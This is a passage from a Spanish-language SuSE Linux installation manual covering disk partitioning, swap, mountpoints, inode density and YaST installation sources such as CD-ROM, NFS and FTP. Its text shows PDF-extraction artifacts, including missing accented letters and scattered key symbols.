7 Si la computadora trabaja an con el kernel 2.0.xx, cabe resear que el tamao mximo de la

particin de swap es de 128 MB, pero Linux puede administrar hasta 8 de estas particiones (con
pocas modificaciones tambin 64). Para el kernel 2.2.xx el tamao mximo del Swap es de
2 GB.

63
2. La primera instalacin de SuSE Linux

4. tiempo, hasta que el disco se haya girado hacia al sector correcto.


5. tiempo para la transmisin de los datos.
El punto 1 depende de la conexin a la red, se regula all y no nos debe
ocupar ahora. El tiempo mencionado en el punto 2 es muy corto y depende
de la controladora misma. El punto 3 suele ser lo gordo, ya que se trata
de un tiempo que se mide en ms. Comparado con los tiempos de acceso
a la memoria RAM, que son del orden de ns, hablamos de un factor de
1 milln(!). El punto 4 depende de las revoluciones del disco y el punto 5
de esas revoluciones y de la cantidad y posicin actual de los cabezales (en la
zona interior o exterior del disco).
Lo mejor para un buen rendimiento es entonces atacar en el punto 3. Los
discos del tipo SCSI lo tratan de mejorar mediante la caracterstica discon-
nect. Esta caracterstica significa ms o menos lo siguiente:
La controladora enva al dispositivo conectado (en este caso el disco duro)
la orden Vete al track x, sector y!. Ahora la mecnica del disco duro
con toda su inercia se tiene que poner en marcha. Si el disco es inteligente
(o maneja disconnect) y el driver de la controladora tambin conoce esta
caracterstica, entonces la controladora del disco enva inmediatamente la
orden disconnect y el disco se separa del bus-SCSI. A partir de ahora, otros
dispositivos SCSI pueden llevar a cabo la transferencia de datos. Despus
de un rato (dependiendo de la estrategia o de la carga en el bus SCSI), se
reanudar la conexin al disco duro. En el caso ideal, ste ya habr llegado
con su cabezal a la posicin de lectura deseada.
En un sistema multitarea y multiusuario como Linux, quedan muchas posi-
bilidades para optimizar. Se puede observar entonces el resultado de la salida
del comando df (ver Mensaje en pantalla 2.10.1).

Filesystem 1024-blocks Used Available Capacity Mounted on


/dev/sda2 45835 27063 16152 63% /
/dev/sdb1 992994 749694 192000 80% /usr
/dev/sdc1 695076 530926 133412 80% /usr/lib

Mensaje en pantalla 2.10.1: Ejemplo de particionar: Resultado del comando


df.

Qu ventaja proporciona esta paralelizacin? Supongamos que se introduce


en /usr/src lo siguiente:
root@tierra:/usr/src/ > tar xzf paket.tgz -C /usr/lib
De este modo se instala paket.tgz en /usr/lib/paket. Para ello, la shell
llama los programas tar y gzip (se encuentran en /bin y por lo tanto sobre
/dev/sda), despus se lee paket.tgz desde /usr/src (se encuentra sobre
/dev/sdb). Por ltimo, los datos extrados se escriben en /usr/lib, que
se encuentra sobre /dev/sdc. Ahora el posicionamiento tal como la lec-
tura/escritura de los bferes internos del disco, se pueden llevar a cabo de
manera quasiparalela.
Lo arriba expuesto es solamente un ejemplo entre muchos. Por experiencia
se puede decir que /usr y /usr/lib se deben encontrar en diferentes discos
si se trata de un sistema de varios discos igual de rpidos. El path /usr/lib

64
2.10. Particionar para avanzados

debe tener cerca del 70% de la capacidad de /usr. Por la gran cantidad de
accesos es conveniente que el directorio root se encuentre en el disco con
/usr/lib.
A partir de una cierta cantidad de discos SCSI (de 4 a 5), conviene considerar
seriamente una solucin RAID por software o (mejor) la adquisicin de una
controladora RAID. Con ella, las operaciones en los discos se ejecutarn no
solo de manera quasi-paralela pero realmente de forma paralela. La tolerancia
respecto a fallos es otra agradable ventaja de la tecnologa RAID.

Tasa de transferencia a discos y tamao de memoria


Mencionamos en varios sitios que bajo Linux, el tamao de la memoria puede
resultar en muchas ocasiones ms importante que la propia velocidad del
procesador. Una razn sino la mayor es la propiedad que tiene Linux
de generar bferes dinmicos con datos del disco duro. Haciendo esto, Linux
usa muchos trucos sofisticados como read ahead (saca sectores adicionales
del disco como provisin para el futuro) y delayed write (ahorra grabar
datos para luego guardar una mayor cantidad de informacin de una sola
vez). Lo ltimo es la razn por la cual no se puede apagar as de simple
una computadora con Linux. Ambos trucos son los responsables del hecho
que la memoria aparezca con el tiempo ms llena y del hecho que Linux sea
tan rpido.

total used free shared buffers cached


Mem: 63304 62312 992 15920 38692 4200
-/+ buffers: 19420 43884
Swap: 199508 14548 184960

Mensaje en pantalla 2.10.2: Resultado del comando free

El Mensaje en pantalla 2.10.2 muestra que hay alrededor de 38 MB almace-


nados en el bfer. Cuando se quiere acceder a cualquier dato que se encuentra
todava en el bfer, ste llega prcticamente al instante.

65
2. La primera instalacin de SuSE Linux

2.11 Configuracin manual del disco duro


2.11.1 Establecer particiones

De qu se trata?
En el apartado 2.3.4 se decidi establecer las particiones de manera interacti-
va. El presente apartado explica las pantallas de YaST que aparecern durante
el proceso de configuracin.

Paso por paso : : :


Para ajustar las particiones se procede de la siguiente manera:
1. YaST presenta una pantalla con varias zonas (ver Figura 3.3, Pgina 76):
 En la parte superior de la pantalla figuran los parmetros del disco
duro.
 En la segunda parte se encuentran posibles advertencias y mensajes de
 .
error del programa fdisk. Estos mensajes se pueden visualizar mejor
con F6 
 En la parte inferior se apuntan las particiones que fdisk ha encontrado
en el disco duro. All se pueden ver las particiones del sistema oper-
ativo que se ha usado hasta ahora, por ejemplo MSDOS. En caso de
haber generado una particin de swap, sta tambin figura all.
2. Para borrar particiones existentes, con el fin de particionar de nuevo el
 
espacio liberado, se debe hacer primero lo siguiente:
Navegar con las teclas # y " para dirigirse a la particin que se quiere
 y confirme el borrado con  - .
borrar. Pinselo otra vez bien; tambin tenga en cuenta el tipo de parti-
cin. Despus pulse F4   
Cuando se borran particiones, tambin se borran todos los datos contenidos
en ellasa .
a
Esta afirmacin no es tcnicamente correcta al 100%, pero los datos se borrarn igualmente!

Si se desea borrar varias particiones, lo mejor es llevarlo a cabo de una


vez.
3. En caso de querer usar las particiones de otros sistemas operativos para
Linux, se puede efectuar ahora cambiando el tipo de particin.

Cuando se cambia el tipo de particin, es probable que otros sistemas


operativos (MS-DOS o Windows) ya no puedan acceder a los datos con-
tenidos en ella!

Navegar con # 

y " 
 .
para anotar la particin a la que se quiere cambiar de
tipo. Cuando se encuentre la particin correcta, pulsar F3 
Aparece una pequea ventana para seleccionar el tipo de particin desea-
 .
da. Elegir entre una particin Linux normal y una del tipo swap y despus
confirmar con  - 

66
2.11. Configuracin manual del disco duro

4. Si quiere generar particiones nuevas de Linux (lo normal), entonces


genrelas una despus de la otra. Con este fin se pulsa primero F5 
 .
 
Si F5 no muestra ningn resultado, significa que no hay espacio para
nuevas particiones en el disco duro. En este caso habr que borrar primero
algunas particiones (ver arriba) : : : .

Figura 2.19: YaST Definicin de particiones

Aparece una ventana de seleccin para definir el tipo de la nueva particin


(Figura 2.19, Pgina 67). Seleccionar entre `Particin primaria',
`Particin extendida'
  y eventualmente `Particin lgica';
confirmar con  - . Para recordar: Cada disco soporta como mximo
cuatro particiones primarias. Si se necesitan ms de cuatro particiones
primarias, la cuarta particin debe ser una particin extendida, dentro de
la cual se pueden generar entonces varias particiones lgicas. Para mayor
informacin ver el apartado 2.9, Pgina 59.
Si se ha generado una particin lgica o primaria, se debe determinar
bajo cul nombre de dispositivo (ingl. device) debe figurar. YaST ofrece
 .
los nombres disponibles para stos; simplemente se selecciona el nombre
superior, p. ej. `/dev/hda2' y se pulsa  - 
En el siguiente paso se tiene que definir el tamao de la nueva particin.
 . Ahora es
YaST propone como comienzo de la primera, el primer cilindro libre.
Normalmente se puede confirmar esta propuesta con  - 
necesario fijar el final de la particin. Se presentan tres posibilidades:
Precisar ya sea el nmero del cilindro final (p. ej. 976), la cantidad de
cilindros de la particin (p. ej. +66) o bien, el tamao en megabytes (p. ej.
 le lleva a `Continuar'; confirme con  - .
+100M). De nuevo  -   
La particin recin definida aparece ahora en la parte inferior de la pan-
 : : :
talla. Si esta particin no ha resultado como se esperaba, se puede borrar
de nuevo con F4 
 
5. Una de las particiones debe ser en todo caso del tipo swap. Si todava
no ha generado ninguna, seleccione con # y " una particin adecuada

67
2. La primera instalacin de SuSE Linux


(para encontrar un tamao razonable para la particin swap consulte el
apartado 2.9, Pgina 59). Pulse F3 , seleccione `Particin Linux
 
swap' y confirme la operacin con  - .
6. Estn ahora todas las particiones establecidas segn su deseo? (el disco
 
duro debe estar completamente ocupado) Tambin se ha tenido en cuen-
ta la particin de swap? Entonces mueva el cursor con Tab al campo
 
`Continuar', en caso de no encontrarse all ya.  - le llevar despus
de una confirmacin adicional a la ventana `Definicin de sistemas
de fichero'.
Segn las condiciones, YaST comprueba otra vez la particin de swap para
asegurarse.

2.11.2 Fijar sistemas de fichero y Mountpoints

De qu se trata?
En el paso anterior todas las particiones se dieron de alta en la tabla de
particiones. En el paso actual se debe proporcionar informacin adicional
para las particiones Linux recin configuradas y para las que puedan existir
del tipo DOS o HPFS.

Informacin adicional
La informacin adicional acerca de las particiones, se queda parcialmente fija
en el fichero /etc/fstab, que es la tabla de sistemas de fichero (ingl. file
system table). Esta tabla contiene todas las caractersticas constantes sobre
los sistemas de fichero, p. ej. el nombre de dispositivo (ingl. Device), la
posicin o el tipo de sistema 8 .
Adems, YaST necesita los datos para poder establecer los sistemas de fichero
Linux en las particiones formateadas. En este paso de la configuracin no se
toca la particin swap, porque ya fue definida en el apartado 2.11.1, Pgina 66
y no tiene ningn grado de libertad adicional.
Contrariamente a los efectos que tiene la manipulacin de la tabla de parti-
ciones (ver apartado 2.11.1), los ajustes de este apartado son internos de Lin-
ux y en consecuencia no tienen ningn efecto sobre otros sistemas operativos
que se encuentran en otras particiones.
A continuacin las explicaciones sobre algunos trminos:
 Bajo Linux todos los sistemas de fichero estn ligados a un nico r-
bol (ver Figura C.1, Pgina 455). Para cada sistema de ficheros se debe
precisar en cul rama del rbol debe aparecer: Este es entonces el cor-
respondiente punto de montaje (ingl. Mountpoint). Tambin es posible
colocar particiones de DOS o HPFS en el rbol de Linux.
 El espacio de almacenamiento en un sistema de ficheros Linux se gestiona
mediante los Inodes. El inode apunta a los datos que estan almacenados
en los ficheros. Se determina la cantidad de inodes a la hora de establecer
8 Tambin contiene informacin para los programas dump y fsck; ver la Manpage de fstab

(man 5 fstab).

68
2.11. Configuracin manual del disco duro

un sistema de ficheros. Cuando la idea es almacenar muchos ficheros


pequeos, se necesitan muchos inodes (los que naturalmente necesitan
ms espacio por s mismos). Por el contrario, teniendo muchos ficheros
grandes no hacen falta tantos inodes. Sobre este tema hay ms detalles en
el apartado 3.4.1, Pgina 78.

Paso por paso : : :


Dentro de la mscara de entrada se encuentra `Definicin de sistemas
de fichero' (ver Figura 3.4, Pgina 77). Para definir los sistemas de fichero
de las nuevas particiones, se procede de la siguiente manera:

1. Informacin preliminar sobre qu hacer:


 Para los sistemas de ficheros DOS y HPFS (dentro de sus respectivas
particiones) se puede fijar aqu un punto de montaje (ingl. Mount-
point).
 Para cada una de las nuevas particiones Linux
se debe fijar un punto de montaje
se puede modificar la Densidad de Inodes propuesta
se puede modificar la manera propuesta de formateado.
 Para la primera instalacin no se necesita la funcin `leer Fstab'.

Figura 2.20: YaST Montar particiones DOS/Windows


2. Para acceder con Linux a una particin del tipo DOS o HPFS, hay que
seleccionarla y pulsar F4 . Aparece un cuadro de dilogo que pide el
nombre de un directorio. Bajo el nombre de este directorio se encon-
 .
trar despus el sistema de ficheros DOS/HPFS. Escriba aqu por ejemplo
dosc; recuerde colocar la barra (`/') al comienzo. Confirme con  - 
En el caso de una particin de DOS, aparecer un cuadro de dilogo
adicional (Figura 2.20, Pgina 69) en el que se selecciona el modo en
que Linux debe acceder al sistema de ficheros DOS (ver tambin aparta-
do 3.4.1, Pgina 77). Lo normal es que el uso de la particin DOS desde

69
2. La primera instalacin de SuSE Linux

Linux vaya a ser espordico, p. ej. para el intercambio de ficheros, as


que se puede seleccionar aqu `DOS' o `FAT-Win95' (= vfat). Las
propiedades de los ficheros son como las de UNIX y los nombres de
fichero largos como los ofrece el sistema de ficheros UMSDOS, los
cuales solamente se necesitan si se quiere instalar SuSE Linux en una
particin DOS. Es mejor evitar esto lo ms que se pueda!
3. Ahora se deben introducir los puntos de montaje (ingl. Mountpoints) de
 . Aparece la ventana en la que debe introducir el directorio,
las particiones Linux. Seleccione estas particiones una despus de la otra
y pulse F4 
bajo el cual aparece el sistema de ficheros de esta particin dentro del
sistema de ficheros total. Siempre se introduce el path con la barra
(`/') al comienzo.
Por supuesto, depender de los planes de particionar, cules directorios se
indicarn como puntos de montaje. En todo caso se necesita un directorio
`/' (ingl. root directory) que forma la raz y el tronco del sistema de
ficheros completo; en castellano se denomina directorio raz. Como ya
se ha mencionado, los dems sistemas de fichero y sus correspondientes
puntos de montaje son cuestin de gusto; pero cuidado:

Los directorios que se necesitan en el arranque de la mquina, tienen que


estar colocados directamente en el sistema de ficheros `/', porque en el
momento de arrancar las distintas ramas del sistema de ficheros total an
no estn unidos al tronco (an no estn montados). As pues, no se deben
indicar aqu los directorios /bin, /dev, /lib, /etc y /sbin

4. Ahora se fija la Densidad de inodes de las particiones de Linux. YaST


propone un valor en funcin del tamao de la particin. Generalmente es
vlido: 4096 Byte por Inode salvo que se quiera generar posteriormente
muchos ficheros pequeos9.
En estos casos, 1024 o 2048 Bytes por inode es lo mejor. Por lo dems,
se consigue el mejor rendimiento cuando todos los sistemas de fichero
tienen la misma densidad de inode.

Seleccionar sucesivamente los sistemas de fichero Linux cuyas densi-
dades de inode se quiere modificar y pulsar F5 . Aparece entonces una
 .
ventana con los valores posibles. Seleccionar el que se desee y confirmar
con  - 
5. Determinar si se deben formatear o no las particiones de Linux y en
caso positivo cmo deben ser formateadas. Las particiones que fueron
generadas bajo el apartado 2.11.1, Pgina 66, deben ser formateadas en
todo caso. Si tiene un disco duro moderno es suficiente usar `Formateo
normal'. Con un disco un tanto anticuado es mejor usar `Formateo
con verificacin'.

Seleccionar sucesivamente las particiones Linux, pulsar F6 y escoger
despus el tipo de formateo adecuado; al final de este paso, el men debe
aparecer como lo muestra la Figura 2.21, Pgina 71 (generalmente no se
tendr ningn directorio NFS apuntado)
9 Otra excepcin: Usted quiere usar el sistema en vivo (ingl. Live-system). La informacin acerca

del Live-system est en el apartado 3.7.4, Pgina 97.

70
2.11. Configuracin manual del disco duro

Figura 2.21: YaST Puntos de montaje

6. Seleccionar `Continuar' y confirmar la pregunta de seguridad. Ahora


YaST formatea las particiones.
Despus del formateo, YaST arranca con el men para la eleccin del soft-
ware (ver Figura 3.11, Pgina 84).

Posibles problemas
Puede aparecer un problema cuando se genera el sistema de ficheros:
 Aparece el mensaje de error "mke2fs failed" o un mensaje parecido.
En este caso consulte el apartado 2.8.12, Pgina 56.

71
2. La primera instalacin de SuSE Linux

72
Captulo 3
YaST Yet another Setup-Tool

YaST (yast) es una parte esencial de SuSE Linux. Ayuda a instalar el sis-
tema, administrar el software (Instalacin y desinstalacin) y da soporte en
las tareas de administracin de sistema.
Este captulo describe las funciones ms importantes de YaST para facilitar
al mximo la instalacin.

SuSE Linux 6.2 contiene una versin de YaST mejorada, de manera que
las imgenes de pantallas (Screenshots) en el libro ya no concuerdan al
cien por cien con las anteriores.

3.1 Uso y distribucin de teclado


Primero se arranca YaST en el Prompt con la orden yast:
tierra: # yast

 ). Es posible moverse dentro de las listas con las


YaST se maneja por lo general con las teclas del cursor (las flechas) y con
la tecla del tabulador (Tab 
  
teclas del cursor tal como con Re Pg y Av Pg y normalmente se escoge
   . Por lo general se sale de los mens
la opcin deseada con Enter o  - 
 
. Esc pero si se desea mantener los ajustes hechos se debe salir con
pulsando
 
F10
En caso de afirmacin o negacin (SI o NO) o cuando hace falta introducir
 . En casos raros, p. ej. cuando se arranca YaST remotamente
texto (p. ej. el nombre de un directorio), se puede saltar entre los campos
usando Tab 
desde un terminal no-Linux, no se pueden usar las teclas que se mencionan
  
a continuacin, ya que los cdigos de las teclas son mal interpretados. En tal
caso, se pueden simular las teclas F<nmero> con la combinacin Control 

 
+f <nmero> 
    
. Para simular F10 se debe pulsar la combinacin Control 
 
+f 
     
0 . Las teclas de funcin F11 y F12 no se usan en YaST.
3.2 El men principal de YaST
Al ejecutar YaST aparece el Men principal (Figura 3.1).

`Ayuda general para la instalacin' Informacin diversa.


`Ajustes de la instalacin ->' Este punto se bifurca en un sub-
men (ver apartado 3.3).

73
3. YaST Yet another Setup-Tool

Figura 3.1: El Men principal

`Escoger/Instalar paquetes' Desde aqu se llega al listado de soft-


ware, para instalar paquetes en el sistema o bien para eliminarlos (ver
apartado 3.5).
`Actualizar sistema' Para renovar paquetes entrar aqu.
`Administracin del sistema ->' Con esta opcin se abre el men
para la administracin del sistema (ver apartado 3.7).
`Mostrar LEAME del medio de instalacin' Informacin adicional
importante.
`Copyright' Esta es la seccin de los abogados.
`Salir de YaST' Nada dura para siempre.

3.3 Ajustes de la instalacin

 
Todos los ajustes relevantes para la instalacin se efectan en el sub-men
`Ajustes de la instalacin' (Figura 3.2, Pgina 75). Con Esc se
puede salir de los mens.
No se puede efectuar la verdadera instalacin antes de haber definido la
particin destino!

3.3.1 Definir el idioma


Con `Eligir el idioma' se puede modificar el idioma de las mscaras
de YaST; el valor se guarda en la variable <LANGUAGE> en el fichero
/etc/rc.config (ver apartado 17.6, Pgina 387).

3.4 Particionar disco(s) duro(s)


El punto ms crtico durante la instalacin de un nuevo sistema operativo es
el de particionar el disco duro. Por lo general cada sistema operativo necesita
una particin propia.

74
3.4. Particionar disco(s) duro(s)

Figura 3.2: Men `Ajustes de la instalacin'

En el caso de Linux existe tambin la posibilidad de instalar el sistema


operativo sobre un sistema de ficheros MS-DOS. Se aconseja tomar esta
posibilidad solo cuando sea cuestin de probar un poco el nuevo sistema
operativo, ya que, el rendimiento es mucho menor en comparacin a una
instalacin sobre una particin propia de Linux. Adems, el sistema no
es tan seguro porque p. ej. no existen programas de chequeo del sistema
de ficheros para MS-DOS y DOS puede influenciar a Linux durante su
operacin.

Dndole una particin propia a Linux resulta muy til dividir el sistema en
varias particiones. Al final son el gusto y la propia filosofa los que deciden
sobre la distribucin de un sistema Unix, as que no existe un nico camino
para todos los casos (ver apartado 2.9, Pgina 59 y apartado 2.10, Pgina 60).
En todo caso, se debe generar una particin de intercambio (ingl. swap) para
aumentar la memoria virtual (memoria) de la computadora (ver aparta-
do 2.10.1, Pgina 61) .
Por razones de rendimiento no se debera optar por la posibilidad de generar
un fichero de intercambio ya que todos los accesos a este fichero se realizaran
a travs del sistema de ficheros. El fichero de intercambio no es ninguna alter-
nativa a una particin de intercambio, especialmente cuando la computadora
no tiene mucha memoria.
Si la computadora tiene ms de un disco duro, se pide seleccionar el que se
va a particionar en el siguiente paso. Despus de esto se entra en un men
que indica la divisin actual del disco (Figura 3.3).
 
Con las flechas " y # 
 . Con F4 se borra una particin
se puede repasar la lista de la particiones disponibles
y modificar el tipo de la particin con F3 
  
existente y con F5 se puede generar una particin nueva.

75
3. YaST Yet another Setup-Tool

Figura 3.3: Configurar particiones

La modificacin de una particin es necesaria para generar una particin de


intercambio (swap). Tambin es posible que no haga falta particionar el disco,
por ejemplo cuando se ha decidido usar a partir de ahora una particin para
Linux que actualmente ocupa otro sistema operativo. En este caso simple-
mente
. mueva la barra indicadora sobre la particin correspondiente y pulse
F3
Tngase en cuenta que no hay ningn requisito especial por parte de Linux
sobre el tipo de particin a usar:
Se puede instalar Linux sobre una particin primaria al igual que sobre una
lgica dentro de una particin extendida.
Las particiones lgicas se introdujeron debido a que en la tabla de particiones
solamente hay espacio para un total de cuatro entradas. Es necesario conver-
tir una particin en una extendida cuando se necesitan ms que estas cuatro
particiones, por lo tanto, dentro de la particin extendida se generan las par-
ticiones lgicas.1
No es necesario arrancar la computadora (boot) inmediatamente despus de
haber particionado, sino que tiene la posibilidad de definir el contenido de la
instalacin. As es factible darse cuenta de la posible escasez de espacio en
una particin y modificarla antes de haberla generado realmente.
Es solo hasta el momento de salir de YaST cuando se realiza la particin real
fsica. Despus es absolutamente necesario reiniciar la computadora!

3.4.1 Establecer particin/sistema de ficheros destino


Despus de haber dividido el disco duro en particiones, se deben asignar a
stas los sub-directorios en el rbol de directorios de Linux. Para ello elija la
1 El programa fdisk de DOS denomina a las particiones extendidas y lgicas como particin

DOS extendida y unidad lgica, respectivamente, aunque este concepto es independiente del
sistema operativo.

76
3.4. Particionar disco(s) duro(s)

opcin `Establecer las particiones destino'.

Figura 3.4: Establecer sistemas de fichero

El ejemplo (Figura 3.4) muestra las particiones de un sistema con un disco


duro. Aqu es posible definir para cada particin si debe y cmo debe ser
formateada y tambin en cul punto del rbol de directorios debe ser montada
posteriormente.
Se debe definir necesariamente una particin como particin de raz (ingl.
root)! Esta se denomina particin de raz porque representa la raz de todos
los directorios. Por lo tanto se le asigna el punto de anclaje (Mountpoint
`/').
Usando las teclas de funcin se activan las distintas funciones para manipular
los sistemas de fichero y normalmente solo se pueden modificar particiones de
Linux. Cuando la barra de desplazamiento se encuentra sobre la particin de
otro sistema operativo, todas las funciones se desactivan excepto la definicin
del punto de anclaje.

Mountpoint Punto de anclaje



Pulsando la tecla F4 es posible definir dnde se debe montar la particin
correspondiente en el rbol de directorios.
Es obligatorio asignar a una particin el directorio raz (/). Las particiones
DOS/Windows se pueden montar sobre algunos nombres de directorio como
p. ej. /dosc para la primera particin DOS y /dosd para la segunda, etc.,
para poder encontrarlas posteriormente con facilidad.

Se deben introducir todos los puntos de anclaje con el nombre de path


absoluto. Los nombres no pueden contener caracteres especiales.
Los directorios /etc, /bin, /sbin, /lib y /dev deben encontrarse en la
misma particin raz, ya que contienen informacin para poder montar los
dems sistemas de fichero y as arrancar el sistema

77
3. YaST Yet another Setup-Tool

Existe una especialidad para las particiones DOS/Windows! Es posible inte-


grarlas de tres formas diferentes en el rbol de ficheros.

 Primero como una particin DOS (= msdos) con todas las restricciones del
sistema de ficheros DOS.
 Segundo como FAT-Win95 (= vfat), lo que permite el uso de nombres
de fichero largos y
 Tercero como particin UMSDOS, lo que permite el uso de nombres de
fichero largos en particiones DOS normales. A parte de esto existen en
este caso todas las caractersticas de un sistema de ficheros Linux como
propietarios, derechos de acceso e incluso se pueden generar ficheros
especiales como p. ej. links sobre el sistema de ficheros DOS.

El sistema de ficheros DOS normalmente no admite dicha informacin adi-


cional, por lo que hace falta almacenarla en ficheros especiales, que se
encuentran en cada uno de los sub-directorios. Estos ficheros se llaman
--linux-.--- y hay que tener cuidado de no borrarlos bajo DOS, ya que
Linux ya no podra acceder a estos datos! Bajo Linux estos ficheros son invis-
ibles, porque solamente contienen informacin interna del sistema de fichero
UMSDOS.

Densidad de inodes
La densidad de Inode indica cul es el tamao promedio de ficheros que se
espera para una particin.
La cantidad de inodes determina cuntos ficheros se pueden almacenar en
una particin. Cuando esta cantidad es demasiado pequea, es posible que
una particin cuente como llena, aunque existan todava bloques libres en la
particin.
Si por ejemplo se elige una densidad de 4096 Bytes por inode, significa
que, todos los ficheros deben tener en promedio un tamao de 4 KB. Si por
el contrario en este tipo de particin se usan exclusivamente ficheros con
un tamao de solo un Kilobyte, entonces la particin ya cuenta como llena
cuando solamente se usa una cuarta parte del espacio disponible, por falta de
espacio en el sistema de ficheros.
Un valor aceptable para la densidad suele ser el de 4 KB por inode (ms
inodes por particin significa naturalmente menos espacio neto en la par-
ticin, porque tambin hace falta grabar la tabla con los inodes). Usando
una particin como rea spool p. ej. para Netnews, es mejor usar un valor de
2048 Byte por inode, ya que los artculos suelen ser ficheros muy pequeos.
Otra razn para trabajar con una cantidad alta de inodes es la integracin del
Live-System. En este caso se enlazan al sistema de ficheros alrededor de
40.000 ficheros usando enlaces (ingl. links) simblicos y cada uno necesita
un inode.

Formatear las particiones



Usando la tecla F6 
se puede determinar cmo formatear las particiones. Si se
usan discos duros modernos, recin salidos de la fbrica, no hace falta activar

78
3.4. Particionar disco(s) duro(s)

la comprobacin de sectores daados durante el formateo, no obstante, por


razones de seguridad tambin se puede activar esta opcin pero el proceso de
formatear durar mucho ms tiempo.

Leer el fichero fstab



Pulsando F7 es posible leer un fichero fstab ya existente (ingl. file system
table). Se indican tambin las entradas en fstab que no correspondan a
ningn sistema de ficheros del disco duro (swap, proc, nfs-mount, lectores
CD-ROM, etc). Estas entradas se indican en gris ya que no pueden ser modi-
ficadas y por tanto se mantienen constantes grabando el fichero fstab.
La mencionada caracterstica es necesaria cuando se desea actualizar el sis-
tema (ver apartado 15.1.1, Pgina 353), ya que en tal caso YaST necesita
saber sobre cules particiones se distribuye ste. Justamente en el caso de
tener varias versiones de Linux instaladas en una misma computadora, se
necesita saber qu versin se actualiza y cul no.

3.4.2 El medio de instalacin


El cuadro de dilogo en la Figura 3.5 ofrece la posibilidad de elegir el medio
desde el cual se quiere instalar todo el software, accediendo a ello mediante
la opcin `Elegir el medio de instalacin'.

Figura 3.5: Eligiendo la fuente de instalacin en YaST

Por lo general se elige aqu la opcin `Instalacin desde CD-ROM' ya


que lo ms frecuente es hacer la instalacin directamente desde el CD-ROM
de la computadora.
Incluso cuando Linux no soporta directamente su lector CD-ROM tambin
es posible instalarlo optando por la opcin `Instalacin desde una
particin' (ver tambin apartado 3.4.4).
Con las opciones `Instalacin desde NFS' e `Instalacin desde
un servidor FTP' es posible instalar Linux en una computadora que si

79
3. YaST Yet another Setup-Tool

bien no tiene su propio lector CD-ROM s tiene conexin de Ethernet a


una computadora con lector de CD-ROM. Para realizar esto consultar el
apartado 3.4.5 o el apartado 3.4.7.

3.4.3 Instalacin desde CD-ROM

Figura 3.6: Eleccin del lector CD-ROM

Cuando se instala Linux directamente desde el CD-ROM se especifica aqu el


tipo de lector que se tiene. Si no hay seguridad sobre esto, se puede comenzar
probando lectores tipo `ATAPI EIDE'.

3.4.4 Instalacin desde una particin del disco duro


En el caso que Linux no soporte directamente el lector CD-ROM, tambin se
puede instalar el sistema en la computadora haciendo un desvo a travs de
otro medio de instalacin.

3.4.5 Instalacin va NFS


Con la instalacin va NFS el usuario avanzado tiene la posibilidad de instalar
de manera simple y confortable varias computadoras, aunque solo una de
ellas este equipada con un lector CD-ROM. Lo mismo vale proporcionando
las fuentes de la instalacin en un disco duro que se puede acceder va NFS.
Para efectuar una instalacin usando NFS se debera estar acostumbrado a la
configuracin de este tipo de servidor.
Aprovechndose de esta caracterstica, tambin se puede instalar un porttil
que tenga una tarjeta red del tipo PCMCIA.
La instalacin va NFS no solo es posible para computadoras que estn conec-
tadas por Ethernet, sino que tambin lo es para una computadora conectada a
un servidor a travs del puerto paralelo. Para porttiles y notebooks esta car-
acterstica tiene una importancia especial. Si se desea efectuar una instalacin

80
3.4. Particionar disco(s) duro(s)

Figura 3.7: Introduccin de parmetros de red para la instalacin NFS

as, es necesario evidentemente, elegir para el arranque de la computadora un


kernel que contenga el soporte PLIP. Aparte de ste hay que hacer un par de
ajustes adicionales para que la interfcie PLIP funcione correctamente.

Figura 3.8: Configuracin de una conexin PLIP

Si se conecta directamente con el servidor NFS, entonces la direccin de la


contraparte es la misma que se debe introducir posteriormente como direccin
del servidor NFS. La interfcie PLIP ser en la mayora de los casos plip1
al igual que los parmetros del hardware, que no deberan diferenciarse del
estndar.
Si se usa el puerto paralelo como interfase PLIP, ste ya no se podr usar
como puerto para una impresora! por lo tanto, al conectar la impresora a

81
3. YaST Yet another Setup-Tool

este tipo de puerto, sta reacciona en la mayora de los casos con un Reset
continuo cuando el driver PLIP se activa.
Entonces, en la siguiente pantalla, se debe introducir la direccin IP del servi-
dor NFS tal como el directorio que contiene los ficheros de instalacin. Nat-
uralmente, el servidor tiene que exportar este directorio a la computadora que
lo pide!

3.4.6 Instalacin desde una particin


Esta opcin sirve sobre todo para seguir instalando software una vez que
el sistema Linux funciona. Adems representa una posibilidad para instalar
componentes desde algn dispositivo para el cual an no exista soporte en
en forma de drivers en el momento de la produccin de los CDs.

 +F2 a
Por lo tanto, para poder acceder ahora desde YaST a este dispositivo, primero
se arranca YaST. Hecho esto, se cambia a otra consola (p. ej. con Alt  
la segunda consola virtual) y se efecta all un login como `root'.
Desde esta consola se debe montar (ingl. mount) a mano el lector CD-ROM
sobre un determinado directorio, introduciendo p. ej.
tierra: # mount -tiso9660 /dev/cdrom /cdrom
Ver tambin el apartado 19.11.2, Pgina 429.
Ahora es posible instalar de manera completamente normal. Con este fin se
introduce en la siguiente pantalla (Figura 3.9) el directorio que contiene los
ficheros de instalacin; este es el directorio sobre el cual se ha montado el CD
aadiendo el path suse.

Figura 3.9: Introduccin del directorio fuente

Si por ejemplo se ha montado el dispositivo (o la particin de un disco duro)


sobre el directorio /cdrom, se introduce entonces tal como en la Figura 3.9:
/cdrom/suse

82
3.4. Particionar disco(s) duro(s)

3.4.7 Instalacin va FTP

Como en el caso de NFS, se trata de una posibilidad adicional de instalar


SuSE Linux en una computadora que no tiene (soportado) ningn lector CD-
ROM. El requisito es en efecto, haber hecho ya la configuracin base de la
red.

Figura 3.10: Indicaciones para la instalacin va FTP

`Servidor FTP [Nombre|IP]' El nombre o la direccin IP del servidor


FTP.
`Directorio del servidor' El lugar en el servidor en el que se encuen-
tra el directorio suse.
`[ ] Usar Proxy?' Solo se marca cuando se est seguro de necesitar un
FTP-Proxy; por lo general no se necesita ninguno.
`Proxy [Name|IP]' Se usa solamente cuando se ha marcado la opcin
anterior.
`[X] Puerto FTP predeterminado?' Preferiblemente marque esta op-
cin.
`Puerto [nmero]' Generalmente debe estar en 21.
`[X] FTP annimo?' Se debe marcar siempre que se deba acceder a un
servidor FTP pblico.
`Login' Si no ha marcado la opcin anterior, entonces se debe proporcionar
aqu el nombre de usuario y, en la prxima opcin,
`Password' la contrasea.
`Timeout [segundos]' 60 es un buen valor.
`Directorio tmp local' El directorio local en el cual se deben almace-
nar los ficheros temporalmente.

83
3. YaST Yet another Setup-Tool

3.5 Escoger / Instalar paquetes


Despus de haber terminado la configuracin de los sistemas de fichero, elija
en el men principal `Escoger / Instalar paquetes' para escoger los
paquetes que se desea instalar y despus arrancar la instalacin. Existe la
posibilidad de generar, grabar y cargar perfiles de instalacin propios.

Figura 3.11: Eleccin de paquetes a instalar

